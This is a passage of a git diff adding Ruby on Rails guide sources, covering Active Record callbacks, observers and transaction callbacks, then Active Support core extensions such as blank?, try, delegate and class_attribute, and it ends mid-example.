+<ruby>
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    if File.exists?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+</ruby>
+
+If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks
+end
+</ruby>
+
+You can declare as many callbacks as you want inside your callback classes.
+
+h3. Observers
+
+Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
+
+h4. Creating Observers
+
+For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
+
+<shell>
+$ rails generate observer User
+</shell>
+
+generates +app/models/user_observer.rb+ containing the observer class +UserObserver+:
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+end
+</ruby>
+
+You may now add methods to be called at the desired occasions:
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+</ruby>
+
+As with callback classes, the observer's methods receive the observed model as a parameter.
+
+h4. Registering Observers
+
+Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
+
+<ruby>
+# Activate observers that should always be running.
+config.active_record.observers = :user_observer
+</ruby>
+
+As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
+
+h4. Sharing Observers
+
+By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
+
+<ruby>
+class MailerObserver < ActiveRecord::Observer
+  observe :registration, :user
+
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+</ruby>
+
+In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect:
+
+<ruby>
+# Activate observers that should always be running.
+config.active_record.observers = :mailer_observer
+</ruby>
+
+h3. Transaction Callbacks
+
+There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+
+Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
+
+<ruby>
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+</ruby>
+
+By using the +after_commit+ callback we can account for this case.
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+  attr_accessor :delete_file
+
+  after_destroy do |picture_file|
+    picture_file.delete_file = picture_file.filepath
+  end
+
+  after_commit do |picture_file|
+    if picture_file.delete_file && File.exist?(picture_file.delete_file)
+      File.delete(picture_file.delete_file)
+      picture_file.delete_file = nil
+    end
+  end
+end
+</ruby>
+
+The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_support_core_extensions.textile b/guides/source/active_support_core_extensions.textile
new file mode 100644
index 0000000000..109228f8c7
--- /dev/null
+++ b/guides/source/active_support_core_extensions.textile
@@ -0,0 +1,3780 @@
+h2. Active Support Core Extensions
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
+
+It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
+
+By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.
+
+endprologue.
+
+h3. How to Load Core Extensions
+
+h4. Stand-Alone Active Support
+
+In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
+
+Thus, after a simple require like:
+
+<ruby>
+require 'active_support'
+</ruby>
+
+objects do not even respond to +blank?+. Let's see how to load its definition.
+
+h5. Cherry-picking a Definition
+
+The most lightweight way to get +blank?+ is to cherry-pick the file that defines it.
+
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of +blank?+ the note reads:
+
+NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+
+That means that this single call is enough:
+
+<ruby>
+require 'active_support/core_ext/object/blank'
+</ruby>
+
+Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
+
+h5. Loading Grouped Core Extensions
+
+The next level is to simply load all extensions to +Object+. As a rule of thumb, extensions to +SomeClass+ are available in one shot by loading +active_support/core_ext/some_class+.
+
+Thus, to load all extensions to +Object+ (including +blank?+):
+
+<ruby>
+require 'active_support/core_ext/object'
+</ruby>
+
+h5. Loading All Core Extensions
+
+You may prefer just to load all core extensions, there is a file for that:
+
+<ruby>
+require 'active_support/core_ext'
+</ruby>
+
+h5. Loading All Active Support
+
+And finally, if you want to have all Active Support available just issue:
+
+<ruby>
+require 'active_support/all'
+</ruby>
+
+That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used.
+
+h4. Active Support Within a Ruby on Rails Application
+
+A Ruby on Rails application loads all Active Support unless +config.active_support.bare+ is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+
+h3. Extensions to All Objects
+
+h4. +blank?+ and +present?+
+
+The following values are considered to be blank in a Rails application:
+
+* +nil+ and +false+,
+
+* strings composed only of whitespace (see note below),
+
+* empty arrays and hashes, and
+
+* any other object that responds to +empty?+ and it is empty.
+
+INFO: The predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace.
+
+WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
+
+For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present:
+
+<ruby>
+def ensure_session_key!
+  if @key.blank?
+    raise ArgumentError, 'A key is required...'
+  end
+end
+</ruby>
+
+The method +present?+ is equivalent to +!blank?+. This example is taken from +ActionDispatch::Http::Cache::Response+:
+
+<ruby>
+def set_conditional_cache_control!
+  return if self["Cache-Control"].present?
+  ...
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+
+h4. +presence+
+
+The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
+
+<ruby>
+host = config[:host].presence || 'localhost'
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+
+h4. +duplicable?+
+
+A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
+
+<ruby>
+1.object_id                 # => 3
+Math.cos(0).to_i.object_id  # => 3
+</ruby>
+
+Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
+
+<ruby>
+true.dup  # => TypeError: can't dup TrueClass
+</ruby>
+
+Some numbers which are not singletons are not duplicable either:
+
+<ruby>
+0.0.clone        # => allocator undefined for Float
+(2**1024).clone  # => allocator undefined for Bignum
+</ruby>
+
+Active Support provides +duplicable?+ to programmatically query an object about this property:
+
+<ruby>
+"".duplicable?     # => true
+false.duplicable?  # => false
+</ruby>
+
+By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class and module objects.
+
+WARNING. Any class can disallow duplication removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell whether a given arbitrary object is duplicable. +duplicable?+ depends on the hard-coded list above, but it is much faster than +rescue+. Use it only if you know the hard-coded list is enough in your use case.
+
+NOTE: Defined in +active_support/core_ext/object/duplicable.rb+.
+
+h4. +deep_dup+
+
+The +deep_dup+ method returns deep copy of a given object. Normally, when you +dup+ an object that contains other objects, ruby does not +dup+ them. If you have an array with a string, for example, it will look like this:
+
+<ruby>
+array     = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# object was duplicated, so element was added only to duplicate
+array     #=> ['string']
+duplicate #=> ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# first element was not duplicated, it will be changed for both arrays
+array     #=> ['foo']
+duplicate #=> ['foo', 'another-string']
+</ruby>
+
+As you can see, after duplicating +Array+ instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since +dup+ does not make deep copy, the string inside array is still the same object.
+
+If you need a deep copy of an object, you should use +deep_dup+. Here is an example:
+
+<ruby>
+array     = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array     #=> ['string']
+duplicate #=> ['foo']
+</ruby>
+
+If object is not duplicable, +deep_dup+ will just return this object:
+
+<ruby>
+number = 1
+dup = number.deep_dup
+number.object_id == dup.object_id   # => true
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/deep_dup.rb+.
+
+h4. +try+
+
+When you want to call a method on an object only if it is not +nil+, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use +try+. +try+ is like +Object#send+ except that it returns +nil+ if sent to +nil+.
+
+Here is an example:
+
+<ruby>
+# without try
+unless @number.nil?
+  @number.next
+end
+
+# with try
+@number.try(:next)
+</ruby>
+
+Another example is this code from +ActiveRecord::ConnectionAdapters::AbstractAdapter+ where +@logger+ could be +nil+. You can see that the code uses +try+ and avoids an unnecessary check.
+
+<ruby>
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+</ruby>
+
++try+ can also be called without arguments but a block, which will only be executed if the object is not nil:
+
+<ruby>
+@person.try { |p| "#{p.first_name} #{p.last_name}" }
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/try.rb+.
+
+h4. +class_eval(*args, &block)+
+
+You can evaluate code in the context of any object's singleton class using +class_eval+:
+
+<ruby>
+class Proc
+  def bind(object)
+    block, time = self, Time.current
+    object.class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
+
+h4. +acts_like?(duck)+
+
+The method +acts_like?+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
+
+<ruby>
+def acts_like_string?
+end
+</ruby>
+
+which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
+
+<ruby>
+some_klass.acts_like?(:string)
+</ruby>
+
+Rails has classes that act like +Date+ or +Time+ and follow this contract.
+
+NOTE: Defined in +active_support/core_ext/object/acts_like.rb+.
+
+h4. +to_param+
+
+All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as URL fragments.
+
+By default +to_param+ just calls +to_s+:
+
+<ruby>
+7.to_param # => "7"
+</ruby>
+
+The return value of +to_param+ should *not* be escaped:
+
+<ruby>
+"Tom & Jerry".to_param # => "Tom & Jerry"
+</ruby>
+
+Several classes in Rails overwrite this method.
+
+For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
+
+<ruby>
+[0, true, String].to_param # => "0/true/String"
+</ruby>
+
+Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
+
+<ruby>
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+</ruby>
+
+we get:
+
+<ruby>
+user_path(@user) # => "/users/357-john-smith"
+</ruby>
+
+WARNING. Controllers need to be aware of any redefinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
+
+NOTE: Defined in +active_support/core_ext/object/to_param.rb+.
+
+h4. +to_query+
+
+Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
+
+<ruby>
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+</ruby>
+
+we get:
+
+<ruby>
+current_user.to_query('user') # => user=357-john-smith
+</ruby>
+
+This method escapes whatever is needed, both for the key and the value:
+
+<ruby>
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
+</ruby>
+
+so its output is ready to be used in a query string.
+
+Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&":
+
+<ruby>
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+</ruby>
+
+Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling +to_query(key)+ on its values. Then it joins the result with "&":
+
+<ruby>
+{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
+</ruby>
+
+The method +Hash#to_query+ accepts an optional namespace for the keys:
+
+<ruby>
+{:id => 89, :name => "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
+
+h4. +with_options+
+
+The method +with_options+ provides a way to factor out common options in a series of method calls.
+
+Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+
+<ruby>
+class Account < ActiveRecord::Base
+  has_many :customers, :dependent => :destroy
+  has_many :products,  :dependent => :destroy
+  has_many :invoices,  :dependent => :destroy
+  has_many :expenses,  :dependent => :destroy
+end
+</ruby>
+
+this way:
+
+<ruby>
+class Account < ActiveRecord::Base
+  with_options :dependent => :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+</ruby>
+
+That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
+
+<ruby>
+I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, :user_name => user.name
+end
+</ruby>
+
+TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+
+NOTE: Defined in +active_support/core_ext/object/with_options.rb+.
+
+h4. Instance Variables
+
+Active Support provides several methods to ease access to instance variables.
+
+h5. +instance_variable_names+
+
+Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
+
+<ruby>
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+</ruby>
+
+WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.
+
+NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+
+h5. +instance_values+
+
+The method +instance_values+ returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings:
+
+<ruby>
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+
+h4. Silencing Warnings, Streams, and Exceptions
+
+The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
+
+<ruby>
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+</ruby>
+
+You can silence any stream while a block runs with +silence_stream+:
+
+<ruby>
+silence_stream(STDOUT) do
+  # STDOUT is silent here
+end
+</ruby>
+
+The +quietly+ method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
+
+<ruby>
+quietly { system 'bundle install' }
+</ruby>
+
+For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
+
+Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
+
+<ruby>
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
+
+h4. +in?+
+
+The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+.
+
+Examples of +in?+:
+
+<ruby>
+1.in?(1,2)          # => true
+1.in?([1,2])        # => true
+"lo".in?("hello")   # => true
+25.in?(30..50)      # => false
+1.in?(1)            # => ArgumentError
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
+
+h3. Extensions to +Module+
+
+h4. +alias_method_chain+
+
+Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
+
+For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+:
+
+<ruby>
+ActionController::TestCase.class_eval do
+  # save a reference to the original process method
+  alias_method :original_process, :process
+
+  # now redefine process and delegate to original_process
+  def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    original_process(action, params, session, flash, http_method)
+  end
+end
+</ruby>
+
+That's the method +get+, +post+, etc., delegate the work to.
+
+That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
+
+<ruby>
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method :process_without_stringified_params, :process
+  alias_method :process, :process_with_stringified_params
+end
+</ruby>
+
+The method +alias_method_chain+ provides a shortcut for that pattern:
+
+<ruby>
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method_chain :process, :stringified_params
+end
+</ruby>
+
+Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations.
+
+NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
+
+h4. Attributes
+
+h5. +alias_attribute+
+
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+
+<ruby>
+class User < ActiveRecord::Base
+  # let me refer to the email column as "login",
+  # possibly meaningful for authentication code
+  alias_attribute :login, :email
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
+
+h5. Internal Attributes
+
+When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
+
+Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+
+The macro +attr_internal+ is a synonym for +attr_internal_accessor+:
+
+<ruby>
+# library
+class ThirdPartyLibrary::Crawler
+  attr_internal :log_level
+end
+
+# client code
+class MyCrawler < ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+</ruby>
+
+In the previous example it could be the case that +:log_level+ does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own +:log_level+. Thanks to +attr_internal+ there's no collision.
+
+By default the internal instance variable is named with a leading underscore, +@_log_level+ in the example above. That's configurable via +Module.attr_internal_naming_format+ though, you can pass any +sprintf+-like format string with a leading +@+ and a +%s+ somewhere, which is where the name will be placed. The default is +"@_%s"+.
+
+Rails uses internal attributes in a few spots, for examples for views:
+
+<ruby>
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+.
+
+h5. Module Attributes
+
+The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to the +cattr_*+ macros defined for class. Check "Class Attributes":#class-attributes.
+
+For example, the dependencies mechanism uses them:
+
+<ruby>
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :logger
+    mattr_accessor :log_activity
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+.
+
+h4. Parents
+
+h5. +parent+
+
+The +parent+ method on a nested named module returns the module that contains its corresponding constant:
+
+<ruby>
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent       # => X::Y
+</ruby>
+
+If the module is anonymous or belongs to the top-level, +parent+ returns +Object+.
+
+WARNING: Note that in that case +parent_name+ returns +nil+.
+
+NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+
+h5. +parent_name+
+
+The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+
+<ruby>
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name       # => "X::Y"
+</ruby>
+
+For top-level or anonymous modules +parent_name+ returns +nil+.
+
+WARNING: Note that in that case +parent+ returns +Object+.
+
+NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+
+h5(#module-parents). +parents+
+
+The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top:
+
+<ruby>
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents       # => [X::Y, X, Object]
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+
+h4. Constants
+
+The method +local_constants+ returns the names of the constants that have been
+defined in the receiver module:
+
+<ruby>
+module X
+  X1 = 1
+  X2 = 2
+  module Y
+    Y1 = :y1
+    X1 = :overrides_X1_above
+  end
+end
+
+X.local_constants    # => [:X1, :X2, :Y]
+X::Y.local_constants # => [:Y1, :X1]
+</ruby>
+
+The names are returned as symbols. (The deprecated method +local_constant_names+ returns strings.)
+
+NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+
+h5. Qualified Constant Names
+
+The standard methods +const_defined?+, +const_get+ , and +const_set+ accept
+bare constant names. Active Support extends this API to be able to pass
+relative qualified constant names.
+
+The new methods are +qualified_const_defined?+, +qualified_const_get+, and
++qualified_const_set+. Their arguments are assumed to be qualified constant
+names relative to their receiver:
+
+<ruby>
+Object.qualified_const_defined?("Math::PI")       # => true
+Object.qualified_const_get("Math::PI")            # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+</ruby>
+
+Arguments may be bare constant names:
+
+<ruby>
+Math.qualified_const_get("E") # => 2.718281828459045
+</ruby>
+
+These methods are analogous to their builtin counterparts. In particular,
++qualified_constant_defined?+ accepts an optional second argument to be
+able to say whether you want the predicate to look in the ancestors.
+This flag is taken into account for each constant in the expression while
+walking down the path.
+
+For example, given
+
+<ruby>
+module M
+  X = 1
+end
+
+module N
+  class C
+    include M
+  end
+end
+</ruby>
+
++qualified_const_defined?+ behaves this way:
+
+<ruby>
+N.qualified_const_defined?("C::X", false) # => false
+N.qualified_const_defined?("C::X", true)  # => true
+N.qualified_const_defined?("C::X")        # => true
+</ruby>
+
+As the last example implies, the second argument defaults to true,
+as in +const_defined?+.
+
+For coherence with the builtin methods only relative paths are accepted.
+Absolute qualified constant names like +::Math::PI+ raise +NameError+.
+
+NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+.
+
+h4. Reachable
+
+A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
+
+That is what ordinarily happens, if a module is called "M", the +M+ constant exists and holds it:
+
+<ruby>
+module M
+end
+
+M.reachable? # => true
+</ruby>
+
+But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
+
+<ruby>
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # => "M"
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # => false
+
+# Let's define a module called "M" again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called "M", but it is a new instance.
+orphan.reachable? # => false
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/reachable.rb+.
+
+h4. Anonymous
+
+A module may or may not have a name:
+
+<ruby>
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+</ruby>
+
+You can check whether a module has a name with the predicate +anonymous?+:
+
+<ruby>
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+</ruby>
+
+Note that being unreachable does not imply being anonymous:
+
+<ruby>
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+</ruby>
+
+though an anonymous module is unreachable by definition.
+
+NOTE: Defined in +active_support/core_ext/module/anonymous.rb+.
+
+h4. Method Delegation
+
+The macro +delegate+ offers an easy way to forward methods.
+
+Let's imagine that users in some application have login information in the +User+ model but name and other data in a separate +Profile+ model:
+
+<ruby>
+class User < ActiveRecord::Base
+  has_one :profile
+end
+</ruby>
+
+With that configuration you get a user's name via his profile, +user.profile.name+, but it could be handy to still be able to access such attribute directly:
+
+<ruby>
+class User < ActiveRecord::Base
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+</ruby>
+
+That is what +delegate+ does for you:
+
+<ruby>
+class User < ActiveRecord::Base
+  has_one :profile
+
+  delegate :name, :to => :profile
+end
+</ruby>
+
+It is shorter, and the intention more obvious.
+
+The method must be public in the target.
+
+The +delegate+ macro accepts several methods:
+
+<ruby>
+delegate :name, :age, :address, :twitter, :to => :profile
+</ruby>
+
+When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
+
+<ruby>
+# delegates to the Rails constant
+delegate :logger, :to => :Rails
+
+# delegates to the receiver's class
+delegate :table_name, :to => 'self.class'
+</ruby>
+
+WARNING: If the +:prefix+ option is +true+ this is less generic, see below.
+
+By default, if the delegation raises +NoMethodError+ and the target is +nil+ the exception is propagated. You can ask that +nil+ is returned instead with the +:allow_nil+ option:
+
+<ruby>
+delegate :name, :to => :profile, :allow_nil => true
+</ruby>
+
+With +:allow_nil+ the call +user.name+ returns +nil+ if the user has no profile.
+
+The option +:prefix+ adds a prefix to the name of the generated method. This may be handy for example to get a better name:
+
+<ruby>
+delegate :street, :to => :address, :prefix => true
+</ruby>
+
+The previous example generates +address_street+ rather than +street+.
+
+WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the +:to+ option must be a method name.
+
+A custom prefix may also be configured:
+
+<ruby>
+delegate :size, :to => :attachment, :prefix => :avatar
+</ruby>
+
+In the previous example the macro generates +avatar_size+ rather than +size+.
+
+NOTE: Defined in +active_support/core_ext/module/delegation.rb+
+
+h4. Redefining Methods
+
+There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
+
+The method +redefine_method+ prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
+
+<ruby>
+redefine_method("#{reflection.name}=") do |new_value|
+  association = association_instance_get(reflection.name)
+
+  if association.nil? || association.target != new_value
+    association = association_proxy_class.new(self, reflection)
+  end
+
+  association.replace(new_value)
+  association_instance_set(reflection.name, new_value.nil? ? nil : association)
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/remove_method.rb+
+
+h3. Extensions to +Class+
+
+h4. Class Attributes
+
+h5. +class_attribute+
+
+The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+
+<ruby>
+class A
+  class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+</ruby>
+
+For example +ActionMailer::Base+ defines:
+
+<ruby>
+class_attribute :default_params
+self.default_params = {
+  :mime_version => "1.0",
+  :charset      => "UTF-8",
+  :content_type => "text/plain",
+  :parts_order  => [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+</ruby>
+
+They can be also accessed and overridden at the instance level.
+
+<ruby>
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+</ruby>
+
+The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+.
+
+<ruby>
+module ActiveRecord
+  class Base
